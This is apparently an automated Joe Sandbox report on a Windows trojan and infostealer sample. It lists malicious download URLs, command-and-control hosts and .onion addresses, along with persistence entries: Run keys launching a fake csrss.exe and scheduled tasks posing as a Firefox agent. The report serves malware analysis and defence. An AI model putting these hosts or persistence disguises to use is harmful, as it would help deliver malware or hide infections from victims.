http://www.innosetup.com/	0%	Avira URL Cloud	safe
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion	100%	Avira URL Cloud	malware
http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/re	0%	Avira URL Cloud	safe
http://ftpvoyager.cc/ftp/index.php	3%	Virustotal		Browse
http://schemas.datacontract.org/2004/07/EInvalidGlobalDataContractNamespace?DataContractNamespaceAlr	0%	Virustotal		Browse
http://crl.ver)	0%	Avira URL Cloud	safe
http://pastebin.comd	0%	Avira URL Cloud	safe
http://hugo.topteamlife.com/order/tuc5.exe	8%	Virustotal		Browse
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
https://drownthinsaltroutese.pw/	0%	Virustotal		Browse
https://drownthinsaltroutese.pw/pi	0%	Avira URL Cloud	safe
drownthinsaltroutese.pw	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Virustotal		Browse
http://cassiosssionunu.me/index.php	0%	Avira URL Cloud	safe
http://buriatiarutuhuob.net/index.php	1%	Virustotal		Browse
http://selebration17io.io/index.php	0%	Avira URL Cloud	safe
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a3	100%	Avira URL Cloud	malware
http://t.med	0%	Avira URL Cloud	safe
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion	4%	Virustotal		Browse
http://www.innosetup.com/	2%	Virustotal		Browse
https://drownthinsaltroutese.pw/api	0%	Avira URL Cloud	safe
http://valarioulinity1.net/index.php	0%	Avira URL Cloud	safe
https://drownthinsaltroutese.pw/ak	0%	Avira URL Cloud	safe
http://cassiosssionunu.me/index.php	1%	Virustotal		Browse
http://selebration17io.io/index.php	2%	Virustotal		Browse
https://cdn5.cdn-telegram.org/file/i4QQmSX-IWl_DPP440WbnzRvPCaYFxClaDPOTGTMNvRYQOqwUilTO2gWelNn07kDZ	0%	Avira URL Cloud	safe
https://drownthinsaltroutese.pw/Hk	0%	Avira URL Cloud	safe
http://t.med	0%	Virustotal		Browse
http://vacantion18ffeu.cc/index.php	0%	Avira URL Cloud	safe
http://valarioulinity1.net/index.php	1%	Virustotal		Browse
https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/System.Collections.GenericJ	0%	Avira URL Cloud	safe
http://goodfooggooftool.net/index.php	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/System.Collections.GenericJ	0%	Virustotal		Browse
https://drownthinsaltroutese.pw/api	0%	Virustotal		Browse
http://goodfooggooftool.net/index.php	1%	Virustotal		Browse
http://vacantion18ffeu.cc/index.php	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hugo.topteamlife.com	104.21.26.173	true	true	9%, Virustotal, Browse	unknown
gxutc2c.com	109.175.29.39	true	true	11%, Virustotal, Browse	unknown
ftpvoyager.cc	91.104.83.7	true	true	18%, Virustotal, Browse	unknown
selebration17io.io	91.215.85.120	true	true	3%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false		high
ip-api.com	208.95.112.1	true	false		high
drownthinsaltroutese.pw	172.67.131.114	true	true		unknown
pastebin.com	104.20.68.143	true	false		high
DNnWlzGnswsDCQNCmwABsgDqpMuf.DNnWlzGnswsDCQNCmwABsgDqpMuf	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
goddirtybrilliancece.fun	true	Avira URL Cloud: safe	unknown
blastechohackopeower.pw	true	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://hugo.topteamlife.com/order/tuc5.exe	true	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://buriatiarutuhuob.net/index.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ftpvoyager.cc/ftp/index.php	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
drownthinsaltroutese.pw	true	Avira URL Cloud: safe	unknown
http://cassiosssionunu.me/index.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://selebration17io.io/index.php	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/tor_proxies	false		high
https://drownthinsaltroutese.pw/api	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://valarioulinity1.net/index.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/z2fzAVz5	false		high
http://ip-api.com/json	false		high
http://vacantion18ffeu.cc/index.php	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://goodfooggooftool.net/index.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1693195889.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/tor_proxiesd	InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drownthinsaltroutese.pw/apiq2	InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000020.00000003.2293790669.0000021A306A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000020.00000003.2293790669.0000021A306E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.torproject.org/	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Kinds.8.dr	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/L1ghtM4n/TorProxy/blob/main/LIB/Tor.zip?raw=true	E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp, InstallUtil.exe, 0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000020.00000003.2293790669.0000021A3071A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t.me/mcfuture	2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/EInvalidGlobalDataContractNamespace?DataContractNamespaceAlr	9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com	InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1697168851.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://drownthinsaltroutese.pw/	InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2397253515.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	InstallUtil.exe, 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://trac.torproject.org/projects/tor/ticket/14917.	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.innosetup.com/	1600.exe, 00000028.00000003.2571412657.00000000020E8000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 00000028.00000003.2570589683.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp, 00000029.00000002.2986314650.0000000000401000.00000020.00000001.01000000.00000019.sdmp, 1600.exe, 0000002D.00000003.2599782173.0000000002350000.00000004.00001000.00020000.00000000.sdmp, 1600.exe, 0000002D.00000003.2615905945.0000000001F68000.00000004.00001000.00020000.00000000.sdmp, 1600.tmp.40.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion	InstallUtil.exe, 0000002A.00000002.2865725310.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.1697168851.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1697168851.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/re	4577.exe, 00000018.00000002.2986069883.0000000000824000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000824000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199592921038hello	2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000020.00000002.2992819838.0000021A2B0D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.autoitscript.com/autoit3/X	Far.pif, 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmp, Far.pif, 00000017.00000002.2987185085.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://pastebin.comd	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://drownthinsaltroutese.pw/pi	InstallUtil.exe, 0000001A.00000002.2398138464.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.htmlTYPE=2OpenSSL	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/ef0e6c9136fd4b779a75726a3	InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000033F7000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pastebin.com/raw/	InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.com_	explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://pastebin.com	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://t.med	InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/mcfuturehnymfsOpera/9.80	2DF.exe, 00000021.00000002.2472767778.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://web.telegram.org	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drownthinsaltroutese.pw/ak	InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn5.cdn-telegram.org/file/i4QQmSX-IWl_DPP440WbnzRvPCaYFxClaDPOTGTMNvRYQOqwUilTO2gWelNn07kDZ	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1693195889.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1697168851.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drownthinsaltroutese.pw/Hk	InstallUtil.exe, 0000001A.00000002.2398528056.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/z2fzAVz5d	InstallUtil.exe, 0000002A.00000002.2865725310.00000000034F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.micro	explorer.exe, 00000001.00000000.1694901150.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1694166846.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1696023227.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.openssl.org/support/faq.html	4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/System.Collections.GenericJ	9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000020.00000003.2293790669.0000021A306C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/enumeration	svchost.exe, 00000020.00000002.2992181174.0000021A2B0B7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.torproject.org/documentation.html	csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	InstallUtil.exe, 0000002A.00000002.2934147061.0000000004465000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1693195889.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://t.me	InstallUtil.exe, 0000002A.00000002.2865725310.0000000003464000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.42.66.0	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
109.175.29.39	gxutc2c.com	Bosnia and Herzegowina	9146	BIHNETBIHNETAutonomusSystemBA	true
172.67.131.114	drownthinsaltroutese.pw	United States	13335	CLOUDFLARENETUS	true
192.36.38.33	unknown	Sweden	57169	EDIS-AS-EUAT	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
91.215.85.120	selebration17io.io	Russian Federation	34665	PINDC-ASRU	true
47.254.134.152	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
134.209.224.96	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
195.66.87.105	unknown	unknown	35196	IHOR-ASRU	false
104.20.68.143	pastebin.com	United States	13335	CLOUDFLARENETUS	false
154.35.175.225	unknown	United States	14987	RETHEMHOSTINGUS	false
185.220.101.23	unknown	Germany	208294	ASMKNL	false
104.21.26.173	hugo.topteamlife.com	United States	13335	CLOUDFLARENETUS	true
178.17.170.13	unknown	Moldova Republic of	43289	TRABIAMD	false
91.104.83.7	ftpvoyager.cc	Hungary	8448	PGSM-HUTorokbalintHungaryHU	true
88.198.112.25	unknown	Germany	24940	HETZNER-ASDE	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false
78.46.174.72	unknown	Germany	24940	HETZNER-ASDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1370880
Start date and time:	2024-01-07 05:28:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	987123.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@85/54@13/20
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 181 Number of non-executed functions: 212
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 23.213.136.92, 23.57.64.93, 20.189.173.21, 104.208.16.94
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, api.ipify.org, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:29:17	Task Scheduler	Run new task: Firefox Default Browser Agent 1260382C617BE296 path: C:\Users\user\AppData\Roaming\ufhjbuw
04:29:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
04:29:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
04:30:33	Task Scheduler	Run new task: Firefox Default Browser Agent 5C01C2014A2B20D9 path: C:\Users\user\AppData\Roaming\wehjbuw
05:29:00	API Interceptor	13040x Sleep call for process: explorer.exe modified
05:29:31	API Interceptor	1x Sleep call for process: Far.pif modified
05:29:46	API Interceptor	1x Sleep call for process: 9D1E.exe modified
05:29:49	API Interceptor	63x Sleep call for process: InstallUtil.exe modified
05:29:57	API Interceptor	2x Sleep call for process: WerFault.exe modified
05:29:58	API Interceptor	2x Sleep call for process: svchost.exe modified
05:30:28	API Interceptor	379x Sleep call for process: 4577.exe modified
05:31:02	API Interceptor	39x Sleep call for process: csrss.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.42.66.0	7UI1tD80.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, RHADAMANTHYS, RedLine, Stealc	Browse	5.42.66.0/newrock.exe
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe
	9b1VuX8WEI.exe	Get hash	malicious	Amadey, Glupteba	Browse	5.42.66.0/f7Vkbh7X/index.php
109.175.29.39	d9c2c57e.exe	Get hash	malicious	SmokeLoader	Browse	gxutc2c.com/tmp/index.php
	3kguO45VOs.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	gxutc2c.com/tmp/index.php
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	brusuax.com/dl/build2.exe
	xksYucKYRR.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Stealc, Vidar	Browse	ftpvoyager.cc/ftp/index.php
	e2ziN6k10z.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/index.php
	eqzIRxuYDe.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/Plugins/cred64.dll
	OdohwTAB9N.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/index.php
	pgSw1dOHLD.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/index.php
	UiS7Aq9P48.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/index.php
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	vxBrm6K24y.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	humydrole.com/tmp/index.php
